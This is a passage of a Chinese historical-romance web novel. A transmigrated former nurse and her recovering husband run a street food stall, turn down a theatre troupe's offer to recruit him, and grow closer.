夜市走动的人比上一次夜市,少了许多。 一晚上,陆鸢的生意不如上一回的好,直至等到里甲敲锣,他们二人才收拾归家。 回到家中,陆鸢也没仔细问有多少,而是自个边泡脚,边把铜钱串起来。 串完后,有些笑不出来。 “今晚摆得比上回久,但还是少了二十来文,只有二百七十三文,而且还剩了好些面没用完呢,一会蒸上,明日就吃这个了。” 祁晟对这些吃得倒是没什么要求,点头应了好。 陆鸢想了想,与他说:“若不然我们双日早上还去东西摆个早市,单日就休息,你说成不?” 之后天气会更冷,生意只会比今晚更差,到时候不说夜市了,早市估摸着人都少了。 再说祁晟这眼疾,花钱如流水,若是不趁着天还没冷多挣些银钱,恐等天更冷了,夜市人便少了,挣的钱也少了。 祁晟沉思了几息,说:“也行,我现在双目可视物,也能帮你把重物都带去早市,你便只负责炸油条就成,等真变天了,就不出早市了。” 先前不答应,是她说的是每日的早市,她肯定吃不消。 且那时他双目还未能视物,现在眼睛好些了,早间日头还没出来,他也能不带眼巾帮她把重物运送到市集。 陆鸢把钱放到钱袋子里,说:“那就这么说好了。” “反正东市离医馆也近,到时你帮我把东西都弄到早市去,你再自个去医馆,都不耽误。” 两人有商有量,便也就把事情定下了。 陆鸢泡了脚后,便去厨房把面蒸上。 祁晟也趋步在后。 她转头与他道:“我不用你陪,你回屋去吧。” 祁晟摇了摇头:“我便是帮不上什么忙,也能陪一陪你。” “夜半三更没人与你说话,我怕你不习惯。” 陆鸢笑应:“我不怕。” 以前刚做护士值夜班的时候,确实怕过,后来也就习惯了。 他继而道:“总归我也睡不着,顺道看一看火,你若困了,便去眯一会,等差不多我再去喊你。” 陆鸢摇头:“不了,我也不是很困。” 她捏好馒头就着竹筛放到了锅里,便生起了火。 秋夜寒凉,但生了火,在窄小的厨房中,很是暖和。 她坐在厨房里,祁晟则坐在厨房门口,背对而坐。 陆鸢烘烤着手,与他闲聊道:“我好似都没仔细问过你,你是怎么发生意外的,就是先前怎么会伤到脑袋?” 她听旁人说了大概,却也没仔细问过他。 祁晟仔细想了想,才开口:“记不太清楚了,只记得好像遇上了身躯庞大的大猫,被逼至崖谷,便不慎掉下去了。” 陆鸢不免好奇了起来,问:“这老虎到底有多大,才能把你逼到谷底去了?” 祁晟仔细回想,琢磨后才应道:“比两个高大男人的重量还要重。” 陆鸢听着,便觉得有些毛骨悚然,心道那不得有两百多公斤了? 看多了动物世界,她是清楚老虎的掌力有多大的。 人人不是天生神力的武松,祁晟不是对手也情有所原。 祁晟能在虎爪之下活下来,确实是幸运了。 “你以后还是别去山上打猎了,与我一同摆摊就好。” 祁晟轻叹了一息,道:“其实是我心气高,高估了自己的本事,往深山老林里去了。” 正是因为经此一事,祁晟性子才沉稳了许多。 陆鸢:“不管是不是深山老林,还是少进山,偶尔打两只野鸡野兔,说不得你,但别把这再当成营生了,太危险了。” 祁晟笑了笑,应:“晓得了,家中有上有老人,下有妻儿,我自是不舍得再拿命做营生了。” 陆鸢闻言“噗嗤”一笑:“你这父亲的角色,适应得可真快,都还没多久呢,就喊上妻儿了。” 祁晟转过身,望着模糊的人影,说:“从我们成为夫妻的那一刻起,你与春花秋花就已经是我的妻儿了。” “现在差的,只不过是名副其实罢了。” 陆鸢听到“名副其实”这四个字,笑意一滞。 心说他是不是话里有话? 还是说在点她?让她做好心理准备,他眼睛快好了,也要与她做真夫妻了? 陆鸢想到这些,便有些怂了。 虽然她也想过之后会发生些什么,可她是个有色心可没色胆的。 且不说旁的,就说古代可没什么避孕措施,她可不想生活还没好起来,就要怀里揣一个,然后继续讨生活。 但转念一想,她与祁晟睡在一张床上都个把月了,也没见他有过半分逾矩的举动,就说明他不是急色的人。 再说现在连张像样的床都没有,以他的性子,肯定会先妥帖安排,而是急在这一时。 陆鸢琢磨过后,又宽心了。 应道:“想那么多做什么,不管什么名副其实,咱们也是拜了堂的,我肯定是跑不了的。” 祁晟听到最后的话,心下一紧,眉心紧蹙,抓住了她话里的重点:“你还想过要逃跑?” 陆鸢没好气道:“我就是那么一说,你在想什么呢?我在你身上花了那么多心思,你跑我都不跑呢。” 这人也忒敏感了一些。 就现在而言,他不仅花了她那么多银子,且有一副好皮囊的同时,还尊重人,且事事迁就着她,在陌生时代遇上这么好的一个人,不管是做朋友还是做夫妻,她断然没有逃跑或是和离的心思。 祁晟闻言,心下才微松。 随即神色却是一怔忪。 他,怕她跑了? 意识到这点,祁晟的神色忽然也多了些恍惚。 他好像,不止是把她当作妻子。 还当作了——心仪之人。 祁晟一时竟不知,自己到底是何时起,对她有了这些感情的。 或许是醒来拜堂时,又或是更早,躺在榻上之时,就已经对她生出了好奇。 第58章 第三回出摊的银钱, 在陆鸢的手上才刚焐热,便都用来添置桌椅和碗勺了,准备做豆乳生意了。 双日这日,天没亮, 陆鸢就起来泡豆子了, 吃完早饭后, 便去医馆。 从医馆回来,经过西市看了桌椅。 看好的桌椅, 给了定钱后,摊主会送到家中, 不用自己运送, 所以回来时,陆鸢便让祁晟从西市背回了一捆柴, 而她则捧着新买的六副碗勺。 下午, 桌椅送来后, 也差不多到了未时, 陆鸢便领着祁晟去点心铺子推磨。 夫妻俩到了点心铺子, 掌柜娘子仔细打量了一眼祁晟后,便领着他们到了后院, 让他们使石磨。 点心铺子的后院有很多个蒸笼,这回还在蒸着点心。 有人在后院忙活着, 掌柜娘子也没盯着他们, 而是回到铺子里。 她与自家男人道:“这小夫妻还怪可怜的,一表人才的郎君, 竟是个瞎子。” 掌柜把别人订制的糕点放置盒子中,应道:“人家好歹还有挣钱的营生,用不着你可怜。” “你要真的觉得可怜, 人家来借石磨,你就别收钱。” 掌柜娘子却不乐意了,撇嘴道:“那不行,不收钱,人人都来我这借石磨使,可怎么成?” 掌柜笑了笑,朝着院子瞧了眼,便看到推石磨的是那瞎子郎君。 虽是瞎子,倒也能自力更生,饿不死。 祁晟推磨,陆鸢则把豆子和水放到石磨中,磨出来的浓浆则用小扫子扫到桶里。 磨了一半豆子,陆鸢看向额头上已有一层薄汗的祁晟,说:“你要是累了,便歇一会吧。” 祁晟摇了摇头:“倒是不累,就是有些热。” 觉着有些冷的陆鸢:…… 一个刚醒不到两个月的植物人,身体热量这么高,这对吗? 她解开腰间别着的帕子,走到他跟前:“你停一下,先擦擦汗。” 祁晟也就停了下来,正要伸手问她要帕子,她却已经抬起手擦到了他额头上。 在昨晚意识到自己的感情后,对于夫妻间的亲密举动,祁晟接受得越发坦然了。 对自己妻子有感情,这是再也正常不过的事。 他朝着她笑了笑:“谢谢。” 陆鸢也没察觉出他与平日有什么不同,给他擦了汗后,便继续干活。 磨好豆浆后,陆鸢把六文钱给了掌柜娘子。 掌柜娘子给她拿了块红枣糕:“咱们店铺卖得最好的糕点,送给你尝尝。” 陆鸢接过,道了声谢谢,随即道:“我在夜市也摆了个卖油条的摊子,掌柜娘子若来,我便请掌柜娘子吃油条。” 掌柜娘子惊诧道:“原来夜市上新出的新鲜吃食是你们家的呀,我还与我家掌柜的说今晚要买来尝尝呢。” 陆鸢笑道:“不用花钱买,我请掌柜娘子。” 掌柜娘子笑道:“那行,晚些时候我再寻过去。” 陆鸢道:“那我就先回去了,不打扰娘子做买卖了。” 掌柜娘子点了点头,目送他们离开。 出了点心铺子,陆鸢与祁晟说:“张嘴。” 祁晟刚张开口,她就往他口中塞了一 块温热的红枣糕,浓郁的红枣甜味顿时在口腔散开来。 陆鸢也掰了一点来尝,问他:“你觉着好吃吗?” 祁晟道:“还行,我不喜吃太甜的甜食。” 陆鸢道:“我觉得挺好吃的,不会太甜。” 这时代糖精贵,糕点都不做得太甜,远比她以前吃的甜点要淡得多了,所以她觉得甜度适中。 “那你吃吧,不用再给我分了。”他道。 陆鸢“嗯”了声,几口便吃完了糕点,拍了拍手。 “等咱们回围山村的时候,再来买些糕点回去,春花秋花从来没吃过这些的糕点,给她们买些回去,她们肯定会很高兴。” “然后再给里正家里,还有陈二嫂也都买一份回去。” 回家途中,陆鸢说了一路回去时都要买些什么,还要送什么。 回到家里,她也没时间说旁的了,准备准备,太阳落山时就得开始煮豆浆了。 豆浆煮好,刚好能出摊了。 天色暗了,祁晟也就把眼上的布巾取了下来,用两根绳子绑住了桌椅板凳,再背到了后背上。 一手扶着桌椅,一手提着豆乳。 陆鸢则端着半盆水走在前头开路。 虽然现在还没什么人,但也得避免祁晟看不清,撞到旁人。 又或是避免旁人不知道他看不清,觉着他会避开,然后撞了上来。 到了与之前相近的摊位,陆鸢上前帮祁晟扶住桌子,让他慢慢放下。 陆鸢让他守着摊子,然后跑回家把油端出来,顺道把需要用到的碗勺也都放在背篓背了出来。 开了摊子,没一会儿就有一个男人带着孩子来买油条。 陆鸢推荐道:“油条搭着豆乳一块吃,或是浸泡着豆乳吃,会别有一番风味,要不要来碗豆乳试试?” “豆乳多少钱一碗?”男人问。 陆鸢应道:“和别家一样,都是一文钱一碗。” “那给我来两根油条,两碗豆乳吧。” 说罢,就拉着孩子坐到了摊子后的桌椅上。 陆鸢把炸好的油条包好,递给了他们,然后舀好豆乳,让祁晟端过去。 祁晟知晓桌椅摆放位置,端过豆乳后,动作虽然慢了些,但也平平稳稳地放到了桌面上。 陆鸢瞅着,见没出什么意外,也就放心的松了一口气。 待客人离开后,祁晟凭着微弱的视力收了桌上的碗,继而弯下腰把碗放置水盆中。 坐到矮杌子上后,他便捋起袖口洗碗。 陆鸢夹起锅里的油条后,转头瞧向祁晟。 果然长得好看的人,就是在洗碗或是拾掇垃圾,都能让人觉得赏心悦目。 陆鸢的视线落在祁晟的小手臂上。 瞧来这段时日养得不错呀,小手臂的肌肉瞧着紧实了不少,都不怎么使力,都让人觉得手臂很是结实。 要是使力时,这手臂的肌肉线条肯定很好看。 既然手臂上的肌肉都恢复了,那这衣服底下的腹肌有没有恢复? 她记得他昏迷躺在榻上的时候,身上都还有一层浅浅的薄肌,现在都快恢复一个多月了,吃得不差也不少,也不知道恢复了几成。 陆鸢的目光顺着他的手臂往上移动,落在肩膀上,再往下打量的时候,祁晟已经把碗洗好,站了起来。 “怎了?”祁晟问。 他虽看不清楚,却也感觉到了她的视线停留在他的身上,有些强烈的打量。 陆鸢收回了目光,说:“没啥事。” 然后转回头继续炸油条。 她暗自嘀咕,他自恢复后,就从不在她跟前换衣服,比她这个女人都还要避讳。 陆鸢炸着油条,摊子前就来了人,她头也没抬,就着颜色鲜艳的衣裙,问:“娘子要几根油条。” “果真是你们。” 带着惊讶的熟悉声音落入耳中,陆鸢抬起了头,看着摊子前浓妆艳抹的黄鹂,沉默了两息。 她料想道会在夜市遇上在瓦舍里跳舞的黄鹂,却没想到这么快,才出摊四回,竟就找过来了。 黄鹂看向她身后的祁晟,声音轻快地打招呼:“郎君,又见面了。” 陆鸢脸上顿时没了笑容,声音冷硬地问道:“你要买油条吗?” 黄鹂低头瞧了眼刚从油锅里炸出来的油条,油滋滋的,眼神中顿时露出嫌弃,但还是道:“你给我包两条吧。” 陆鸢利落打包给她,伸手:“六文钱。” 黄鹂把六枚铜板递给了她,再接过油条,继而与她指了一处楼阁,道:“我便是在那丽云台跳舞,常来丽云台的客人都不缺银钱,我可以向丽云台的掌柜说一说,让丽云台买你们的油条做小食。” 吃人嘴软,拿人手短,这点陆鸢是知道的。 更何况,天下可没有免费的午餐。 她和黄鹂可没什么交情,自然不可能好心给她介绍什么生意。 都不用多想,都能知道她还没放弃劝说祁晟进他们的舞坊。 还没等陆鸢拒绝,祁晟走至她身旁,直接给拒绝了:“不用了,我们的吃食不宜久放,不适合送去你们瓦子里做小食。” 陆鸢也点了点头,直言道:“你也不用这么费尽心思了,我郎君可不会进你们的舞坊的。” 黄鹂笑道:“想什么呢,我这不是觉得我们有缘,想帮一把你们,若是你们不愿意接受我的好意,那便罢了。” 说着,便拿着油条离开了。 陆鸢看着她离去的婀娜身影,说:“这油条可别扔了,怪浪费的。” 跳舞的人为了保持身段,最忌油炸。 祁晟道:“大概会做顺水人情,浪费不了。” 陆鸢回神,疑惑道:“这黄鹂到底怎么回事,咱们都拒绝好几回了,她竟还不放弃要把你拉入他们舞坊。” 祁晟想了想,才道:“大概是他们舞坊与丽云台签的契约快要到期了,他们想续,但丽云台却不想续了,所以他们的班子想寻些模样好的撑场面,把噱头赚足了,也好续签。” “为什……”陆鸢正想问,就有人来要油条,她便装起来,顺道推销豆乳。 人走了,陆鸢才转头继续问:“为什么这么说?” 祁晟与她分析道:“方才那舞娘性子圆滑,且手上也小有积蓄,不似刚进舞坊的新人,应在舞坊里待了有些年头了,年纪肯定也不小了。” 陆鸢惊讶道:“这你都猜出来了?!” “那黄鹂应当是有二十七八的年岁了。” 祁晟道:“据我与旁人交谈所了解,舞坊的舞娘一般都是二十五岁以下,若是上了二十五岁年纪的,大多都会另谋出路,不会再留在舞坊。” “方才那舞娘这年岁还留着,大概是他们的舞坊真的没什么人了。” 说到这里,祁晟眉头皱了起来,看向她。 模糊的轮廓落入眼中,他对着她严肃道:“说不定他们真的会拿银子让你来劝我,真发生这样的事,不管说什么,你都不要答应,便是白送的也不要。” 陆鸢觉得好笑:“你当我傻呀,哪个好人会平白无故给别人送银子的?” “大善人都不会善到这地步,除非是挂着伪善的人,别有目的的人,才会给旁人送银子。” 这话落下,就陆陆续续来了客人,也就没工夫唠嗑了。 今晚的油条面,她准备得比上一回少,所以快要到子时时,她就把油条卖完了。 豆浆不多,亥时那会就已经全卖完了。 陆鸢准备收摊的时候,就远远看到了黄鹂,她身边还站了个身材魁梧的中年男人。 二人正在往这边打量。 陆鸢:…… 真真是死皮赖脸,冤魂不散。 她麻利地收拾好桌子,让祁晟先把桌椅都背回去,她在这等他返回,然后再一块回去。祁晟摸黑也能记住回去的路,也不用她操心。 祁晟回去后,黄鹂便领着她的班主到了跟前。 “苏娘子,这位便是丽云台戏班的班主,可不是舞坊的班主,你郎君若是愿意进戏班,也不用他跳舞,只是让他露露脸。” 那戏班班主也不说二话,直接拿出了一锭元宝放到了桶盖上。 陆鸢瞧了眼,满不在意地把碗放进盆中。 谁成想那戏班班主以为她嫌钱少,又多拿了一个银锭子放在旁边,开了口:“只要你能让你郎君与我们戏班签三个月的契约,不仅送你二十两,我再多给十两。” “三十银钱,可是你在这里摆摊,一年都挣不到的数目。” 陆鸢深呼吸了一口气,看向面前高大的男人,道:“我郎君眼睛不好使,也没别的什么本事,就是白长了一张好皮相,我想不明白你们为什么要这么执着。” 男人笑了笑:“娘子谦虚了,我瞧了半宿,发现你家郎君便是眼睛不好,可步子稳健,且还能听声辨位,一看就是练家子。” “你家郎君来我戏班,不需要他唱戏,只要他那张脸和他功底,我也能把他捧红。” “比起在这摆摊埋没了他,还不如有一技之长,日后也能以此来谋生。” 唱戏不用唱,多半是替唱。 原来古代就已经有了假唱,还真开了眼界。 陆鸢瞧着对方身材魁梧,一拳头就能把自己撂倒,且估计在夜市也有点人脉,能让自己干不下去,她也不敢一下子把话说得太绝。 “虽摆摊挣不了大钱,但糊口定是没问题的。” 进戏班的,一般都是家庭条件极差的,而且还是自小就被买进去的,在这时代,戏班是真的上不了台面。 戏班里的戏子,大部分都是家里真过不下了,才会被卖进去。 班主见她说不通,便又拿出了一锭银子放到桶盖上。 陆鸢:…… 又见不得是百金,真以为她没见过什么世面,仅三锭银元宝就能唬住她? “银钱拿走,你们别来与我说,要说便去找我郎君说去。” 说着,就拿起三锭银元宝,全部塞还到黄鹂的怀里,手直接一松,收了回来。 黄鹂慌忙接住,看向戏班班主。 班主沉默了一瞬,道:“那我便与你郎君说。” 陆鸢闻言,也不与他们废话,继续收拾东西。 收拾妥当,祁晟也快步返回了。 隐约可见妻子面前站了两个人,走近了,闻到了熟悉的香粉味,眉头紧蹙。 陆鸢不耐的与他道:“他们两要我说服你,我没空搭理他们,便让他们自己与你说。” 祁晟听出了她的不耐烦,便知这事让她不胜其烦了。 他面无表情朝着高大的身影走去,停在数步之外,定定地望着男人。 戏班班主对上那双冷眸,一愣。 不是说是个瞎子么? 他怎觉得能看得见? “二位,我觉得我娘子说的话已经很清楚了,我不会去你们的舞坊,” 黄鹂在旁更正:“不是舞坊,是戏班。” 祁晟:“不管是舞坊还是戏班,我都没有任何兴趣。” 戏班班主道:“我给你三十两,每个月再给你五两月例,为期三个月。” “仅三个月便能挣四十五两银子,这可是你们两年都挣不到的银钱。” 祁晟忽然笑了,笑得让人莫名其妙。 “你们似乎太瞧不起我家娘子了。” 陆鸢:“?” 还有她的事? 祁晟继而道:“不过区区四十五两,怎么就断定我娘子两年都挣不到?只需一年时间,我娘子也能挣得到。” 陆鸢微微蹙眉。 他也太看得起她了。 而且这话怎么听着这话奇奇怪怪的? 好像说得他要吃软饭似的。 戏班班主一愣,显然也和陆鸢想到了一块去,随即诧异道:“难不成你一个大男人,还指着你娘子养你!?” 祁晟微微抬眉,理直气壮的反问:“有何不可?” 戏班班主:…… 黄鹂:…… 陆鸢:……??? 他说得还怪有成就感的呢。 陆鸢看到戏班班主听了他的话后,脸上露出了鄙夷之色。 陆鸢适时出声:“我负责挣钱养家,我郎君则负责俊朗的样貌来取悦我,我乐意。但我不乐意他去什么戏班,用样貌取悦别人。” 祁晟闻言,不由得笑了笑,随即道:“不说旁的,就说我家中有两个女儿,我不想以后他们议亲之时,旁人说他们的父亲曾在戏待过,所以还请班主能体谅体谅为人父的不易,莫要强人所难。” 陆鸢闻言,心道他父亲的角色倒是代入得挺快的。 戏班班主沉默了片刻,才道:“既然你们这么不愿意,也罢了。若是后悔了,就去丽云台寻我,与人说寻黄班主便知是来寻我的了。” 说罢,一拱手,转身就离开。 黄鹂瞧了眼他们夫妻俩,又连忙追上戏班班主。 “班主,你真的放弃这个苗子了?” 从一开始,黄鹂瞧中的是那郎君的样貌,而后发现他便是看不见,步履却依旧沉稳,而且耳力也特别好。 在舞坊待久了,也有些眼力见儿,自是能看得出来是个练家子,这才不想放弃劝说,找来了戏班班主。 戏班班主道:“我也拿了银子出来,可人家也不为所动,可见是真的不愿意,总不能威胁上人家吧。” “你可别劝了,可惜是可惜了,总好过与人结怨的好。” “别瞧着他们现在落魄,谁能知道经年之后,人家能不能有所成。” 黄鹂闻言,轻笑道:“不过就是一对山野夫妻,能有什么出息?” 戏班班主的班子常给贵人出台唱戏,也是见过贵人气度,他随即摇了摇头:“那夫妻俩的气度,可不像寻常的山野村夫村妇。” 夫妻两人皆是落落大方,从容有度,试问哪家山野夫妻像他们这样? 待人走后,陆鸢脸色便沉了下来,烦躁道:“希望这是最后一回了,别三天两头来劝你。” 祁晟心有愧疚:“抱歉,给你惹来麻烦了。” 陆鸢把装了碗的桶给了他,还有盆。 “你刚刚与他们说,想要我养着,该不会是说真的吧?” 祁晟理所当然的道:“我给你做工,你难道不应该养我,难不成还想让我给你白做工?” 陆鸢:…… 差点被他给绕进去了。 她笑道:“你是我郎君,让你白做工又怎了?” 祁晟拿稳手上的东西,笑应:“不需工钱,但得给我一日三餐。” “一日三顿,顿顿油条豆乳,吃不吃?” 祁晟:“也不是不行。” “你想得倒美,油条多费油,还顿顿吃。” 两人互相调侃,有说有笑得归家。至于方才的事,似乎对他们来说,并没有生出太大的影响。 第59章 不知不觉间, 陆鸢陪祁晟来城里已然有半个多月了。 祁晟时下不用每日都去医馆,而是改成了两日一趟,也省下了一笔费用。 他们二人也会在双日的东市早市摆摊子,这几次下来, 倒也存下了数百文。 晚间收了摊子, 陆鸢翘着小腿趴在榻上记账。 手上有盈余之后, 她便买来最次等的笔墨和纸,开始记账。 祁晟倒了她的洗脚水, 从外头进来,便见她趴在床上, 一双小腿一晃一晃的, 没半点正形。 在昏黄的烛火下,露出来的那半截小腿更是白得晃人。 祁晟视物情况又比前些天好了一些, 虽依旧看不清人的五官, 可重影的情况却好了很多, 也更能分辨色差了。 是以瞧到那双晃悠着的小腿, 便挪开了视线, 轻咳了一声,道:“不是念着冷, 怎不盖被衾?” 他走至床边,拉过被衾, 直接盖到了她翘起的双脚。 陆鸢斜睨了他一眼, 说:“刚泡了脚,有些热。” 说着, 又用脚把被衾踢开了。 祁晟:…… 他只得收起视线,不敢往下瞧。 陆鸢见状,就立即来了兴趣, 调戏他:“你害羞呀?” 祁晟没好气地看向她,定定地看了一会,褐色的眼神似乎过于幽深。 陆鸢察觉到有些不妙,缩着脖子把脸转回到账本上。 小声提醒:“这床可不经造。” 祁晟闻言,不由地扶额。 她这是笃定他什么都不会做,才敢一而再的挑衅。 陆鸢侧眸偷瞧了眼他的无奈,颇有成就感。 祁晟去把房门和窗户都阖上,省得冷风灌入,让身子虚的她着了凉。 他在床边坐下,问她:“要不要给你按一下?” 陆鸢道:“不用了,我又没干什么重活。” 说到这,她抬头看他:“反倒是你,要不要给你按一下?” 这些天,挑水搬桌椅出门,还有推磨,都是他在做。 祁晟应道:“我不累。” 陆鸢却把笔放到床头,然后坐起,把他拉到床上:“我也给你松松骨,不能总是你给我按,我却没有表示。” 说着就跪坐在他身后,直着腰身,双手落在他的肩膀上。 在推拿按摩这一块,她虽不是专业的,但毕竟是做护理专业的,她也是学了点的。 用了暗劲按在他肩上,按了一会,她皱着眉道:“你别绷这么紧,成吗?” 祁晟默了默,应:“你挨得有些近了。” 陆鸢道:“晚上睡觉挨得也近,怎不见你绷得这么紧。” 祁晟没有与她争辩,只道:“你往后挪挪,我便不会绷得这么紧。” 不仅身体绷得紧,便是嗓音也有些发紧。 陆鸢低头瞧了一眼,她身体上的部位,除了这双手,也没别的地方触碰到他。 可别说是她身上的气息侵犯到他了,她可不承认。 她往后挪了些,随之道:“这样总行了吧?” 祁晟“嗯”了一声。 陆鸢按了半刻,手就酸了,便直接甩手不干了:“你应该也不累了,我就不按了。” 祁晟刚觉着舒适,她便停了,挑了挑眉,说:“我可什么都没说。” 陆鸢拿起自己的账本翻看,不甚在意道:“刚给你按之前,你不是说了不累么。” 祁晟:……歪理。 陆鸢看着账册道:“咱们今日油条和豆乳净挣一百四十六文,生意是真的一日比一日差了。” 祁晟应她:“天冷了,人少了,也是正常的。” 陆鸢轻叹了一声后,又恢复了元气,道:“虽然一日挣得比一日少,可生意比起其他摊子,也还是过得去的。” 她加上把先前存下的存款,与他说:“好在你现在花钱少了一些,所以加上今日的盈利,咱们有四百八十二文了。” “然后回围山村后,还得拿一百多文给陈二嫂,再花几十文买点东西回去,也能剩下两百多文。” 祁晟听完她的账后,问:“你还没算我们下个月的房租。” 陆鸢:…… 忽然就被这一句话抽走了元气,扔下账本在床上滚了几圈:“这怎么还是赤字啊!” 祁晟:“到底还是我这眼疾拖累了你。” 陆鸢叹了一声气,无奈道:“那也不能不治呀,说到底,还是挣钱挣得少了。” “等等。”她忽然道。 她反应了过来,说:“我们才在这住半个月,还有半个月呢,租金也不急着算进现在得账目里。” 说着她又笑了:“所以这会,我还是有两百多文盈余的。” 祁晟的嘴角也不由地随着她的笑意上扬。 陆鸢自我调节好,便把账册和笔墨都收拾了起来,复而躺回床上,盖上被衾与他道:“歇着吧,都累了一整日了。” 祁晟点了点头,脱鞋上榻。 睡在一块逐渐习惯,也不用她催,便挨着她而躺。 陆鸢闭上眼,准备酝酿睡意时,还是没忍住问他:“方才都没挨得这么近,你却绷得那么紧,可现在怎就不紧张了?” 祁晟一默,闭着眼,没应她。 陆鸢不依不饶地推了一下她的手臂:“说说嘛,为什么?” 祁晟似乎不欲搭理,转身就背对她。 陆鸢见状,更好奇了,便睁开眼,半起身扒拉到了他胳膊上,上半身几乎贴了上来。 祁晟身体一瞬绷紧。 喉咙发紧道:“你都知道这里的床不经造,就别来招惹我。” 陆鸢当即就明白了过来,他定是怕碰到不该碰的地方。 她掌心贴着他的手臂,便是隔着一层衣服,也感觉到了他手臂的滚烫温度,以及她胸口微触碰到的后边,坚硬如石。 意识到了什么,她立马躺了回去。 原本就是在不经意间,敏感之处有些许触碰,她不觉得有什么,偏生他这反应,搞得她也觉得怪异了起来。 话又说回来,他们现在虽然没圆房,但平日里和平常夫妻也没什么差别了,怎还搞得这么的纯洁? 说到底,还是她这古代丈夫太保守了。 陆鸢思及此,不禁摇了摇头。 保守点也好,先不急着履行夫妻义务。 祁晟听着她没声了,猜想她应当也明白了。 他本不想让她知道,知道他对她也有了寻常男人也会有的冲动。可若是不让她知道,她以为他只是故意吓唬她的,然后一而再地挑衅他的忍耐力。 好半晌后,陆鸢才道:“咱们约定个时间,成不?” 祁晟微微蹙眉。 约定时间? 约定什么时间? 只疑惑了两息,他就反应了过来。 他想了想,道:“顺其自然吧。” 陆鸢摇头:“不行。” 顺其自然的话,到时候换了床,换了住处,或是哪天不经意看见他换衣服,她都会胡思乱想。 祁晟暗呼了一口气:“那你定。” 陆鸢:“再过三个月,怎么样?” 三个月,或许生活也慢慢稳定了,同时她也能找到这个时代该有的避孕方式。 陆鸢都已经接受了现状,接受了已经成婚的事实,倒是不反感夫妻生活,只是让她犹豫的,大部分都是这避孕问题。 她倒不至于让祁家绝后,只是现在不管是在讨生活上,还是她身体的情况,都不允许在短暂时间内有孕。 祁晟翻身,躺平时,在被衾之下拉住了她的手,低声应:“我不着急,你的顾虑,我大抵能猜到一些。” “如今日子都不安定,我们不适合同房,也不适合要孩子。” 陆鸢欣慰他体贴的同时,也不由得感叹,这人真是容易近朱者赤近墨者黑,跟她生活了这么段时间后,哪里还有半点的纯情? 连说“同房”“要孩子”这些话,都能做到面不改色了。 再过段时间,她调戏他时,他是不是还能面不改色的调戏回来? “睡吧睡吧,不说这些事了。”她道。 越想,小脑袋就越黄,真怕睡着后会做旖旎的梦,在梦里说荤话被他听到了,那就真的太丢人了。 祁晟“嗯”了一声,也就不在与她聊天。 …… 祁晟似乎适应了两人的生活,早间陆鸢起来的时候,他睁开了眼缝瞧了眼,便翻身继续睡。 陆鸢从床上下来,梳头时暼了眼熟睡的祁晟。 这些天运动量上来了,他睡眠也比先前好多了。 平时都是她一醒,他不管睡得多晚都会跟着起来,现在都会睡懒觉了,难得。 双日早上,陆鸢从屋子出来,一阵寒风袭来,冷得拢了拢衣襟。 她看了眼天色,乌蒙蒙的,今日应是没有日头。 祁晟也从屋中出来,看着眼前的身影,问:“怎了?” 陆鸢道:“天色瞧着有些黑,也不知道会不会有雨。” 祁晟看不清天色变化,只道:“把草帽戴上,若是下雨,还能遮一遮。” 陆鸢“嗯”了一声。 毕竟昨晚就已经发酵了面,她也不能不出摊。 两人盥洗过后,就带着东西出了早市。 祁晟背着背篓,一手则扛着不是很重的小四方桌。 陆鸢则依旧是提着装着油锅的桶。 二人要走一刻多才能到东市。 在城里住的好处就是东市早市的时候,除了一些固定的摊位外,能占一个好的摊位。 城里家家户户大多都要去早市买菜,人流也比夜市的人多。 人多的同时,卖早点的摊子也多。 刚开摊子的时候,油条虽卖得挺好的,但也只是和夜市差不多。 而且也没石磨磨豆子,是以也卖不了豆乳,只能是卖油条,也就少了一些收入。 放下东西后,陆鸢与祁晟道:“你去医馆吧,剩下的活,我自己来就成。” 祁晟戴着的纱布清透,能遮住强光的同时,也可以勉强视物。 他去医馆也已然轻车熟路,所以陆鸢并不担心。 祁晟点了点头:“我针灸过后,就过来帮忙。” 陆鸢“嗯”了一声,目送祁晟离开。 差不多过去了半个时辰。 医馆内,祁晟坐在椅子上,闭眼假寐,等着留针时间过去时,忽然听到轰鸣的雷声,便担心地睁开了眼。 一睁眼,眼前的景物似乎一瞬间清晰了许多,他愣了一瞬,开口与身后的大夫道:“我好像能看得更清楚了。” 大夫闻言,走到他跟前,竖起了两个手指,问:“这是几根手指?” 祁晟准确的说:“两根。” 大夫眉梢抬了抬,又站远了一些,一双手都用上了,问:“现在呢?” 祁晟虽瞧着还有重影,但也能清楚分辨:“四根。” 大夫的样貌落入他的眼中,不似以往糊成一团,现在清晰了许多,他能看清眼耳鼻嘴的位置且大概模样。 他忽然迫不及待地想去见丽娘,想见见她的模样。 忽然又一声轰隆声响起,接着便是噼里啪啦的雨滴声。 祁晟眉头皱了起来,朝着帘子外看了出去,与大夫道:“大夫,还请把我头上的针拔下。” 大夫道:“还差些时辰。” 祁晟却道:“若没有太大影响,先帮我拔了,我担心我内人。” 这么大的雨,摊子还有那么多的东西,也不知她能到哪躲雨。 大夫琢磨了一下,不过是效果差些,总归也没有太大的影响,也就给他拔了。 大夫拔着银针,吩咐药童拿了把雨伞过来,与祁晟道:“伞下回再拿过来还,切记你这脑袋可别乱淋雨。” 祁晟道了声多谢,便撑着伞匆匆走入暴雨中。 祁晟循着旧路返回东市,依着记忆到了陆鸢摆摊的大概位置,走近了,便看到打碎在地的瓦锅,还有一滩还没被雨水冲散的油污。 祁晟心下一紧,四下张望能避雨的地方。 他脚下步履有些乱了,走到躲雨的地方,问避雨的摊贩:“你们可有看到原本在那个位置买油条的妇人?” 他这着瓦锅摔破的地方。 有人道:“我好像看到她被人撞到摔了一跤,油锅也摔了,那油锅滚烫,也不知道有没有烫伤。” 祁晟听到这话,心忽地一揪,脸色都变了。 “可有看到她往哪去了?” “人摔了之后,便抱着桌子往那个方向走了,刚走也没多久”摊贩往一个方向指了指。 摊贩所指的方向,正是回去的方向。 祁晟一知道具体方向,脚下一转,便朝着摊贩所指追去。 路过一半,祁晟追到巷子里,看到屋檐下的桌子和背篓,还有坐在门槛上的人,才胸腔起伏明显,重重地喘了几口气。 他脚下只停顿了两息,就疾步走了过去。 她似乎察觉到有人靠近,便抬起了头。 祁晟在这一瞬,也看到了她大概的容貌长相。 一点都不丑,反倒清丽秀气。 他便是还瞧不清晰,也能看得到她的双眸,如他所想那般的漂亮、明亮且灵动。 陆鸢看到尚在急喘气的祁晟,站了起来,惊道:“你拿着伞,但这身上怎么也全湿了!?” 她视线落到他的鞋子和滴着水的裤脚上,惊讶:“你这是从刚水里爬出来吗?” 祁晟双唇紧抿,一言不发地望着她,下一瞬松开了手中的伞,双臂一伸,蓦然把同样湿漉漉的陆鸢紧紧抱入了怀中。 